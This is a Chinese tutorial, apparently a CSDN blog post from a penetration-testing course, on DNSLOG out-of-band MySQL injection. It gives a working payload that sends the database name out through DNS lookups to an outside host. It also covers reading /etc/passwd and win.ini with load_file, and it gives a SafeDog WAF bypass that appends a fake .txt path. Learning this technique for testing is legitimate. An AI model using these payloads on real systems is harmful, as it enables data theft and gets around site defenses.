网络安全从入门到精通(第六章-3)MySQL注入 —— DNS(log)注入

						MySQL注入 —— DNS(log)注入
每日一句:
			实践出真知,渗透测试的精髓就是测试,不断的测试
主要内容:
			~DNSLOG实战注意
			~DNSLOG的使用场景
			~DNSLOG的函数解析

一、DNSLOG的函数解析

	1,一些知识
		DNS(协议  域名 -> IP转换)
		
		日志:基本上所有程序都会记录日志
		
		DNS	他实际上也是有日志的
		
	2,函数用法:
		select load_file(路径);			//这个函数用于读取文件内容,并返回输出
			例如:select load_file(c:/d/1.txt)
			
		路径可以是绝对也可以是相对,
		注意mysql执行的相对路径是	mysql/data/下  并不是mysql文件夹下
		
	3,若load_file无法读取文件,去改一下设置:
			在mysql文件下my.ini的最下面加一行
			secure_file_priv=
		
		敏感文件:
			Linux 	/etc/passwd
			Win		C:/windows/win.ini
			
		知道需不需要更改配置,直接去试试读取敏感文件
			select load_file('c:/windows/win.ini');
	
	
	4,UNC路径
		UNC:	简单的说,就是网络(主要是局域网)上共享的资源
		格式:
				\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
		如何共享:
				首先创建文件夹,右键共享,高级共享。在以上选项可选时依次执行。
		如何访问:
				在同网络中,输入\\ + 对方的ip或+对方的主机名即可访问对方共享的文件夹
		例如:
				jkl计算机的名为a123的共享文件夹,
					用UNC表示:
				\\jkl\a123
				
		我们熟知的命令行访问网上邻居,实际上应该称作UNC路径访问法
		
		本质上就是win上的一种服务,Linux上是没有的

二、DNSLOG的使用场景

	~在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,
		这个时候就可以通过DNSlog把想获得的数据外带出来
	~对于盲注,常见的方法就是二分法去一个个猜,但是这个方法麻烦不说,
		还很容易因为数据请求频繁导致被ban
	所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据

	0,首先知道,sql语句中有种东西叫做子查询
	1,正常的语句:
		select load_file('//a.bbb.org/abc')
	2,拼接了恶意语句:
		select load_file(concat('//',(select database()),'.bbb.org/abc'))	//子查询语句优先执行
		结果:	
		select load_file(//数据库名字.bbb.org/abc)		
		
		这样去解析访问	//数据库名字.bbb.org/abc	这个地址,进而在日志下留下痕迹
		
		我们如果可以访问这个日志,就可以知道数据库的名字
		
		进而,进行各种注入		和显错注入几乎没有区别,这就很牛逼了

三、DNSLOG实战注意

	1,load_file函数,不要局限于注入测试
		
		不要忘记他本身就是一个挺bug的功能,也许运气好
		一读就打开了一个敏感文件
		
	2,select database()那个地方,只能拼接一个字符串,
		假设你读 select *from admin 有很多数据,大概率会爆错
		所以,记得
		~使用where限制条件 
		~limit x 1
		~group_concat()		//临时想起来的,行不行,实战自行测试吧
		
	3,在哪查看DNS日志记录
		有已经被搭好的平台:ceye.io
		
	4,ping的时候,乱输入也可以ping通
		遇到了泛解析,
		
		什么是泛解析?
		
		遇到不认识的统统解析到一个地方
	
	5,遇到Waf狗不要怕
		有可能因为种种原因导致狗不是最新版,可以直接搜一下:
			绕安全狗sql语句
			
	6,绕狗新姿势
		原url:  xxx.php?id=1		//在这直接and sleep(3)可能会被拦截
		
		新姿势:xxx.php/suibian.txt?id=1 and sleep(3)	基本就可以绕过
		
		原理:简单说,利用安全狗对 txt 的信任,他认为txt是个安全的,黑名单的问题
		
				为什么随便加的可以正常访问?
			
			这是因为web容器的原因,他读取到错误文件,认为是用户写错了,自动向前解析
	
	7,总结一下
		dns注入的前提是:
			~攻击站点有注入点
			~读取文件函数开启
			
		注意:注入点在cookie,还是get,或者post都行  和这没有联系
发布了24 篇原创文章 · 获赞 3 · 访问量 1729

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/104166476